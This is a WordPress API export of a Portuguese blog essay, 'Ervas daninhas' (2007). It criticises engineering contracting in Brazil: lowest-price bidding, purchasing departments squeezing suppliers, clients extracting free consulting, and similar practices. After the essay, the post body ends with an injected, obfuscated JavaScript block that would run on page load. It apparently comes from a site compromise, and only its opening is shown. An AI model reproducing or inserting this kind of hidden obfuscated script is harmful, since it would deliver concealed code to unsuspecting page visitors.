{"id":36,"date":"2016-12-09T17:37:34","date_gmt":"2016-12-09T19:37:34","guid":{"rendered":"http:\/\/www.barreto.eng.br\/blog\/?p=36"},"modified":"2018-12-10T13:53:46","modified_gmt":"2018-12-10T15:53:46","slug":"ervas-daninhas","status":"publish","type":"post","link":"https:\/\/www.barreto.eng.br\/blog\/index.php\/2016\/12\/09\/ervas-daninhas\/","title":{"rendered":"Ervas daninhas"},"content":{"rendered":"<p><span style=\"color: #993300\"><em>(abril \/ 2007)<\/em><\/span><\/p>\n<div align=\"justify\">Provavelmente o conte\u00fado deste artigo n\u00e3o seja novidade para muitos. No entanto, n\u00e3o custa trazer novamente \u00e0 tona para reflex\u00e3o e debate, determinados fatos e atitudes que comprometem seriamente o desenvolvimento da presta\u00e7\u00e3o de servi\u00e7os de engenharia no Brasil.<\/p>\n<p>Sem querer ser saudosista, felizes aqueles que tiveram a oportunidade de trabalhar nos anos 70. A engenharia podia ser praticada e desenvolvida com grande <!--more-->prazer e at\u00e9 certa soberania. No entanto, o que vemos atualmente \u00e9 a engenharia se sucumbindo a outros interesses \u2013 at\u00e9 l\u00edcitos, por\u00e9m, nas doses praticadas, tornam-se prejudiciais \u00e0 pr\u00f3pria engenharia e aos profissionais que assim se deixam conduzir.<\/p>\n<p>Que tal se a engenharia passasse a utilizar como princ\u00edpio o lema do bras\u00e3o da cidade de S\u00e3o Paulo: <em>\u201cnon dvcor dvco\u201d<\/em> (do latim: n\u00e3o sou conduzido, conduzo)?<\/p>\n<p>Cabe ressaltar que, quando ocorre um acidente, n\u00e3o adianta o profissional alegar que avisou o contratante de que aquela n\u00e3o era a melhor solu\u00e7\u00e3o, ou que o problema foi causado por press\u00f5es financeiras, administrativas ou pol\u00edticas. Para todos os efeitos, ele \u00e9 o respons\u00e1vel t\u00e9cnico, e est\u00e1 sujeito a responder pelos danos causados, nas esferas c\u00edvel, criminal, trabalhista e profissional (Crea).<\/p>\n<p>Infelizmente, persistem os desvios de conduta e de procedimentos aplicados na maioria das contrata\u00e7\u00f5es &#8211; tanto por parte de contratantes quanto de contratado &#8211; em empresas privadas e p\u00fablicas, independentemente de porte e de segmento.<\/p>\n<p>Diversas s\u00e3o as \u201cervas daninhas\u201d que notadamente se alastram cada vez mais pela engenharia. Em muitos casos, os profissionais plantam e at\u00e9 adubam tais ervas, sem se darem conta disso. Por ingenuidade, por falta de percep\u00e7\u00e3o, ou ent\u00e3o por suic\u00eddio mesmo!<\/p>\n<p>Cada uma dessas ervas daninhas poderia ser tratada em artigo espec\u00edfico, com maiores detalhes. Por ora vamos apenas cit\u00e1-las e deixar que o dia a dia de cada leitor o fa\u00e7a viajar pelos exemplos vividos. Vamos a elas:<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li><strong><em>Concorr\u00eancia de pre\u00e7o para presta\u00e7\u00e3o de servi\u00e7o de natureza intelectual (projeto, consultoria, per\u00edcia, etc.)<\/em><\/strong> &#8211; Qual \u00e9 a vis\u00e3o e o pensamento de um contratante que acha poss\u00edvel fazer compara\u00e7\u00f5es de pre\u00e7os (e evidentemente optar pelo menor) entre fornecedores desse tipo de servi\u00e7o?\u00a0 H\u00e1 aqueles que afirmam que fazem a famosa \u201cequaliza\u00e7\u00e3o de propostas\u201d. Pura fantasia, jogo de engana\u00e7\u00e3o ou hipocrisia compartilhada! Como ser\u00e1 que equalizam? Seria perfilando a \u201ccabe\u00e7a\u201d de cada um dos fornecedores e \u201cmedindo\u201d a sua capacidade intelectual por meio de sofisticado instrumento de medi\u00e7\u00e3o? (ver imagem)<\/li>\n<\/ul>\n<ul>\n<li><strong><em>A busca insana pelo mais barato<\/em><\/strong> &#8211; \u00c9 evidente que ningu\u00e9m propositadamente quer jogar dinheiro fora. No entanto, atitudes impensadas e irrespons\u00e1veis, t\u00eam levado muitas empresas a enormes equ\u00edvocos de contrata\u00e7\u00e3o e a ficarem com um enorme \u201cabacaxi\u201d nas m\u00e3os. Muitas vezes elevando o seu passivo sem perceberem. Alguns empres\u00e1rios sequer conseguem avaliar o tamanho do preju\u00edzo que resulta desse procedimento de contrata\u00e7\u00e3o. Nem ficam sabendo das consequ\u00eancias, pois a turma do \u201cbaixo clero\u201d n\u00e3o deixa essas informa\u00e7\u00f5es chegarem at\u00e9 eles. Geralmente o preju\u00edzo \u00e9 mascarado ou encoberto pelos escal\u00f5es inferiores da empresa.<br \/>\nSabe-se que nem sempre o menor pre\u00e7o \u00e9 a melhor op\u00e7\u00e3o de contrata\u00e7\u00e3o. Al\u00e9m disso, n\u00e3o \u00e9 proibido contratar servi\u00e7os por um valor maior do que o estimado ou do que as demais propostas. Para tanto, \u00e9 imprescind\u00edvel a participa\u00e7\u00e3o efetiva da \u00e1rea t\u00e9cnica na decis\u00e3o de contrata\u00e7\u00f5es, fazendo valer a sua opini\u00e3o, a despeito das press\u00f5es de outros setores da empresa que, geralmente, n\u00e3o ter\u00e3o de conviver com aquele abacaxi. Deve-se sim buscar o melhor pre\u00e7o e n\u00e3o o menor pre\u00e7o.<\/li>\n<\/ul>\n<ul>\n<li><strong><em>Despreparo do setor de compras<\/em><\/strong> &#8211; Aberta a concorr\u00eancia, ou tomada de pre\u00e7os, ou carta-convite, ou qualquer outro r\u00f3tulo que se d\u00ea a uma modalidade de contrata\u00e7\u00e3o de presta\u00e7\u00e3o de servi\u00e7os, e ap\u00f3s as devidas discuss\u00f5es t\u00e9cnicas e de prazos de execu\u00e7\u00e3o, invariavelmente o pr\u00f3ximo passo do candidato a fornecedor \u00e9 negociar com o setor de compras, onde o que interessa agora \u00e9 o pre\u00e7o e nada mais. Na maioria das vezes, o pre\u00e7o n\u00e3o \u00e9 nem avaliado juntamente com os demais itens da proposta. O objetivo do contratante agora \u00e9 \u201cesmagar\u201d o fornecedor para levar vantagem no pre\u00e7o, independentemente de qualquer outro fator. E o comprador ainda chega at\u00e9 a receber um pr\u00eamio da alta dire\u00e7\u00e3o por \u201clesar a empresa\u201d. Sim, lesar, pois n\u00e3o se tem ideia das consequ\u00eancias desse tipo de procedimento. Infelizmente essa \u00e9 a regra (com as raras exce\u00e7\u00f5es).<br \/>\nCom isso, percebe-se a falta de for\u00e7a do setor de engenharia das empresas para decidir as contrata\u00e7\u00f5es dentro da sua pr\u00f3pria \u00e1rea, ficando tal tarefa destinada ao setor de compras, que nada entende do assunto. Afinal, comprar servi\u00e7o \u00e9 completamente diferente de comprar mercadoria. N\u00e3o se deve comprar projeto de engenharia da mesma forma que se compra sacos de lixo. Existem at\u00e9 situa\u00e7\u00f5es constrangedoras, nas quais \u00e9 vis\u00edvel o jogo de engana\u00e7\u00e3o. Ou seja, o fornecedor finge que fornecer\u00e1 o que foi pedido e o comprador finge que acredita, s\u00f3 para cumprir o seu papel na empresa &#8211; que \u00e9 apenas &#8230; comprar.<strong>\u00a0<\/strong><\/li>\n<\/ul>\n<ul>\n<li><em><strong>E<\/strong><strong>sperto ou espertalh\u00e3o?<\/strong><\/em> &#8211; Como desdobramento da erva daninha anterior, v\u00e1rios s\u00e3o os fornecedores que se curvam a tais condi\u00e7\u00f5es, fechando contratos vis, at\u00e9 o dia em que n\u00e3o conseguem mais fazer frente aos seus compromissos financeiros e nem manter a estrutura da empresa, encerrando suas atividades. Muitas vezes deixando seus clientes na m\u00e3o, com o servi\u00e7o inacabado &#8211; ou mal acabado. Imprudentemente, alguns contratantes se acham suficientemente espertos e se vangloriam de ter conseguido \u201cboas\u201d contrata\u00e7\u00f5es, segundo esse macabro ritual.\u00a0 E tudo isso com a coniv\u00eancia da diretoria das empresas, a qual, inclusive, elogia tais procedimentos, por n\u00e3o verem (ou n\u00e3o querem ver) as perigosas consequ\u00eancias dessas atitudes. Deveriam sim os contratantes, zelar pela sobreviv\u00eancia dos seus fornecedores, de forma a continuarem sendo atendidos (e bem atendidos) naquilo que necessitam. N\u00e3o por acaso depois reclamam que n\u00e3o encontram bons fornecedores, ou que n\u00e3o encontram mais aquele fornecedor &#8211; \u201capertem os cintos, o fornecedor sumiu\u201d!<\/li>\n<\/ul>\n<ul>\n<li><strong><em>Usurpa\u00e7\u00e3o de escopo<\/em><\/strong> &#8211; Neste quesito a malandragem est\u00e1 em definir um escopo de servi\u00e7o. Quando o tomador de servi\u00e7o, mesmo possuindo pessoal da \u00e1rea t\u00e9cnica, n\u00e3o tem a exata no\u00e7\u00e3o do que deve ser contratado, ele \u00a0procura um ou dois fornecedores incautos (ou cobaias, como queiram), com aquela conversinha mole prometendo lhes dar prefer\u00eancia na contrata\u00e7\u00e3o (repete a hist\u00f3ria para cada um reservadamente), que a empresa dele n\u00e3o contrata pelo menor pre\u00e7o, que se preocupa muito com a seguran\u00e7a, que faz equaliza\u00e7\u00e3o de propostas, e o velho bl\u00e1 bl\u00e1 bl\u00e1 j\u00e1 conhecido, cheio de hipocrisia.<br \/>\nCom isso, o incauto fornecedor acaba entrando na armadilha (apesar de conhec\u00ea-la) e, prestando consultoria gratuita, monta o tal escopo, a partir de um \u201cpseudoescopo\u201d preparado de qualquer maneira pelo tomador de servi\u00e7o apenas para dar o bote. Ou seja, o trabalho que deveria ser feito pela empresa contratante (ou por uma consultoria), acaba sendo feito por v\u00e1rios fornecedores, por m\u00e1-f\u00e9, ou, geralmente, por incompet\u00eancia de quem conduz a contrata\u00e7\u00e3o.<br \/>\nUma muta\u00e7\u00e3o dessa erva daninha ocorre, quando o tomador de servi\u00e7o ainda n\u00e3o tem nem no\u00e7\u00e3o do que colocar no escopo e chama (ao inv\u00e9s de contratar consultoria) um ou mais fornecedores de servi\u00e7os para fazerem uma \u201cvisitinha\u201d (evidentemente informal) para verificarem um problema que est\u00e1 ocorrendo na empresa e fornecerem uma proposta para execu\u00e7\u00e3o de servi\u00e7os. Durante essa visitinha, o anfitri\u00e3o, deliberadamente, pressiona e induz o fornecedor a identificar os problemas e apresentar solu\u00e7\u00f5es. Quando o fornecedor se mostra reticente, o anfitri\u00e3o emenda sem qualquer pudor: <em>\u201cpreciso saber qual \u00e9 a solu\u00e7\u00e3o que voc\u00ea vai apresentar para ver se atende as minhas necessidades e o padr\u00e3o da empresa\u201d.<\/em> E n\u00e3o perde tempo em anotar tudo o que \u00e9 dito pelo incauto fornecedor, que consciente ou n\u00e3o, forneceu consultoria gratuita.<br \/>\nConstru\u00eddo ent\u00e3o o escopo final, resultado dessa artimanha, ele \u00e9 distribu\u00eddo para dezenas de empresas apresentarem suas propostas, onde o que interessa agora \u00e9 s\u00f3 o pre\u00e7o. E o tomador de servi\u00e7o ainda se sente orgulhoso da tarefa executada, pois n\u00e3o custou nada para a sua empresa a constru\u00e7\u00e3o do t\u00e3o desejado Escopo! Talvez ela nem contrate terceiros e tente resolver por conta pr\u00f3pria os problemas, uma vez que, de certa forma, j\u00e1 possui algum roteiro. E o que \u00e9 mais grave, muitas vezes esse procedimento anti\u00e9tico \u00e9 promovido pelos pr\u00f3prios engenheiros contratantes.\n<\/li>\n<\/ul>\n<ul>\n<li><strong><em>Caderno de encargos inadequado<\/em><\/strong> \u2013 Para se proteger de futuros problemas no decorrer de uma contrata\u00e7\u00e3o, boa parte das empresas de m\u00e9dio e grande porte elaboram um caderno de encargos para estabelecer requisitos e procedimentos para execu\u00e7\u00e3o de determinados servi\u00e7os. Mecanismo este bastante saud\u00e1vel, de suma import\u00e2ncia para o bom desenvolvimento das contrata\u00e7\u00f5es e das rela\u00e7\u00f5es entre as partes e que deve ser elaborado por quem tenha a devida compet\u00eancia. No entanto, algumas empresas acabam criando cadernos de encargos extremamente volumosos, repletos de condi\u00e7\u00f5es impratic\u00e1veis e que mais complicam do que ajudam.\u00a0 Muitos deles, constru\u00eddos a partir de or\u00e7amentos diversos que, por falta de criteriosa e competente avalia\u00e7\u00e3o, acabam se transformando em uma grande \u201ccolcha de retalhos\u201d (ou copia-cola). Tal fato demandar\u00e1 grande investimento por parte do fornecedor para ler e avaliar esse monstro e tentar encontrar os itens que s\u00e3o verdadeiramente importantes para a contrata\u00e7\u00e3o em quest\u00e3o. E no fim de tudo, ainda vai cair na teia do \u201cmenor pre\u00e7o\u201d, sem qualquer avalia\u00e7\u00e3o de confiabilidade e compet\u00eancia por parte de quem contrata, como j\u00e1 indicado anteriormente.<\/li>\n<\/ul>\n<ul>\n<li><strong><em>Dr. Sabe tudo <\/em><\/strong>&#8211; \u00c9 praticamente imposs\u00edvel um profissional conhecer com profundidade todos os assuntos da sua pr\u00f3pria \u00e1rea de forma\u00e7\u00e3o.\u00a0 No caso da engenharia el\u00e9trica, poder\u00edamos exemplificar por meio das diversas especialidades, tais como: baixa, m\u00e9dia e alta tens\u00e3o, aterramento, descargas atmosf\u00e9ricas, instrumenta\u00e7\u00e3o e controle, sistemas de pot\u00eancia, prote\u00e7\u00e3o de sistemas el\u00e9tricos, atmosferas explosivas, transformadores, motores, geradores, instrumentos de medi\u00e7\u00e3o, instala\u00e7\u00f5es hospitalares, residenciais, industriais, hoteleiras, entre tantas outras.<br \/>\nMas, em diversas ocasi\u00f5es, um profissional encarregado da \u00e1rea el\u00e9trica de uma empresa, mesmo sem ter o amplo conhecimento de todos esses assuntos, acaba tomando decis\u00f5es e chamando a responsabilidade para si daquilo que desconhece. H\u00e1 casos em que um fornecedor, tendo fechado contrato com uma empresa para realiza\u00e7\u00e3o de determinado servi\u00e7o, acaba tamb\u00e9m realizando outros servi\u00e7os para os quais n\u00e3o est\u00e1 devidamente preparado, s\u00f3 para n\u00e3o \u201cperder\u201d o cliente. Ou seja, faz-se e n\u00e3o se tem no\u00e7\u00e3o do que se fez.<br \/>\nIsso ocorre por falta de responsabilidade, de humildade, ou ainda, por press\u00e3o da empresa ou do mercado. Muitas vezes o profissional n\u00e3o consegue explicar para os leigos que a engenharia, assim como a medicina, tem as suas especialidades, ou ent\u00e3o, simplesmente n\u00e3o sabe como lidar com essas situa\u00e7\u00f5es.<br \/>\n\u00c9 importante ter em mente que tais atitudes comprometem diretamente os profissionais, os que trabalham com ele, a empresa cliente e a pr\u00f3pria engenharia, que ficar\u00e1 mal vista diante dos problemas que fatalmente ocorrer\u00e3o. Al\u00e9m disso, prejudica o trabalho de consultoria, impedindo que profissionais com larga experi\u00eancia em determinados assuntos realizem um bom e digno servi\u00e7o.\n<\/li>\n<\/ul>\n<ul>\n<li><strong><em>Uso inadequado do termo \u201ccliente\u201d <\/em><\/strong>&#8211; \u00c9 comum designar a empresa que solicita um or\u00e7amento de \u201ccliente\u201d. Salvo melhor ju\u00edzo, cliente \u00e9 a empresa ou pessoa para a qual se presta servi\u00e7o. Ou seja, h\u00e1 uma rela\u00e7\u00e3o mais pr\u00f3xima. Parece bobagem ou preciosismo, mas no fundo o enquadramento equivocado de \u201ccliente\u201d e \u201cprov\u00e1vel cliente\u201d, influenciar\u00e1 sobremaneira a forma de tratamento, concess\u00f5es, investimentos, grau de risco, comprometimento na rela\u00e7\u00e3o, etc. O cliente de fato, deve ter um tratamento diferenciado daquele que \u00e9 apenas mais um aproveitador de propostas. Este n\u00e3o \u00e9 cliente. Quem sabe at\u00e9 deva ser exclu\u00eddo da nossa carteira de atendimento!<\/li>\n<\/ul>\n<ul>\n<li><strong><em>Cursos versus palestras<\/em><\/strong> &#8211; Ambos s\u00e3o muito bem-vindos e necess\u00e1rios.\u00a0 Precisam at\u00e9 ser ampliados para atender a enorme demanda pela melhoria da qualifica\u00e7\u00e3o profissional na engenharia, que est\u00e1 em permanente e significativa evolu\u00e7\u00e3o. No entanto, \u00e9 importante estabelecer as enormes diferen\u00e7as entre curso e palestra. Atualmente ocorre certa despreocupa\u00e7\u00e3o com tais diferen\u00e7as, at\u00e9 de forma irrespons\u00e1vel, por parte daqueles que promovem cursos e palestras. De certa forma banalizando-os e n\u00e3o dando o devido valor a cada um deles. Os organizadores devem, sobretudo, pensar nos profissionais que se deslocam e pagam para participar desses eventos e, muitas vezes, saem frustrados.<br \/>\n\u00c9 comum as veicula\u00e7\u00f5es induzirem os profissionais a acreditar que aprender\u00e3o algo sobre o assunto apresentado em palestras. Ora, palestra n\u00e3o tem o objetivo de ensinar, mas sim de apresentar de forma sucinta alguma novidade. Pode-se dizer que uma palestra \u00e9 como a capa de um jornal: tem-se acesso apenas \u00e0s \u201cmanchetes\u201d e n\u00e3o \u00e0 not\u00edcia inteira. Trata-se de mero fornecimento de \u201cinforma\u00e7\u00e3o\u201d. J\u00e1 o objetivo de um curso \u00e9 fornecer \u201cconhecimento\u201d, por meio de abordagem did\u00e1tica e coordenada, fomentando debates e troca de experi\u00eancias entre os participantes, contando com a bagagem te\u00f3rica e a imprescind\u00edvel viv\u00eancia do apresentador. Sem \u201cguardar o leite\u201d &#8211; at\u00e9 porque, leite guardado azeda!<br \/>\nOs profissionais devem ficar atentos para n\u00e3o serem enganados pelos oportunistas de plant\u00e3o.<\/li>\n<\/ul>\n<ul>\n<li><strong><em>Falha de engenharia ou falha de gest\u00e3o?<\/em><\/strong> \u2013 O crescimento da quantidade de acidentes levou a engenharia para a berlinda. Atualmente, o foco das aten\u00e7\u00f5es e de depoimentos irrespons\u00e1veis tem reca\u00eddo sobre esta \u00e1rea.\u00a0 Os acidentes devem ser apurados, os erros identificados e as medidas corretivas adotadas para que n\u00e3o mais ocorram. Mas ser\u00e1 que em todos os casos houve erro de engenharia? E as falhas de gest\u00e3o nas contrata\u00e7\u00f5es? Ser\u00e1 que as investiga\u00e7\u00f5es se limitam \u00e0s quest\u00f5es t\u00e9cnicas ou tamb\u00e9m apura-se o que ocorreu durante o processo de contrata\u00e7\u00e3o? Como se explica que determinada obra seja contratada por valor muito inferior ao estimado? Provavelmente muitos leitores j\u00e1 tenham \u201cperdido\u201d contratos por diferen\u00e7a absurda de pre\u00e7o. Que coragem do contratante em fazer essa op\u00e7\u00e3o! Em agindo assim \u00e9 fatal que acabe recebendo na justa medida do que quis pagar. E nem vai perceber!<\/li>\n<\/ul>\n<p>Existem muitas outras ervas daninhas que contaminam a \u00e1rea tecnol\u00f3gica, mas, por ora, as aqui descritas s\u00e3o suficientes para proporcionar reflex\u00e3o sobre o futuro da engenharia brasileira.<\/p>\n<p>Para n\u00e3o ficarmos apenas em mais um artigo que tratou dos problemas da \u00e1rea da engenharia, espera-se que as empresas p\u00fablicas e privadas percebam o que est\u00e3o fazendo a cada contrata\u00e7\u00e3o e que as diversas associa\u00e7\u00f5es e entidades do setor, atentem para essas quest\u00f5es e criem a\u00e7\u00f5es eficazes para reverter esse danoso quadro, onde todos perdem.<\/p>\n<p>Que tal voltarmos a tomar conta da nossa engenharia antes que \u201calien\u00edgenas\u201d o fa\u00e7am?\u00a0 E isso \u00e9 s\u00e9rio! <\/p><\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return 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